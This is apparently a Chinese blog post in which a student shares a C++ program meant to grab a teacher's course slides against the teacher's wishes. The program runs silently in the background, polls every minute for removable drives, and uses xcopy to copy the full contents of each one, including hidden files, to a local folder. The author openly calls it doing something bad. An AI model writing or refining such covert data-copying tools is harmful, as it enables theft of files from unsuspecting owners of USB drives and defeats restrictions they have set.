快期末考试了,老师的课件不让复制,于是乎写个小程序做点坏事,这是我(@tongtongxyz)写的半成品,,多多赐教。
/*********************************************
* Filename: udiskcopy.cpp *
* Function: 后台检测U盘并复制到指定路径 *
* Author: TongtongXyz *
* Weibo: @tongtongxyz *
* Date: 20120112 *
*********************************************/
#include <string.h>
#include <windows.h>
int main(void){
while(1){
char DiskName[256]="H:\\";
UINT DiskType;
unsigned char i = 0x42;
//遍历盘符
for(; i < 0x5B; i += 0x1){
DiskName[0] = i;
//判断是否是可移动存储设备
DiskType = GetDriveType(DiskName);
if(DiskType == DRIVE_REMOVABLE){
//修改复制到地址,注意转义字符
char cmdstr[200] = {"cmd.exe /c xcopy H: d:\\udiskcopy\\ /e /y /q /h"};
cmdstr[17] = i;
system(cmdstr);
}
}
Sleep(60000); //一分钟检测一次U盘
}
}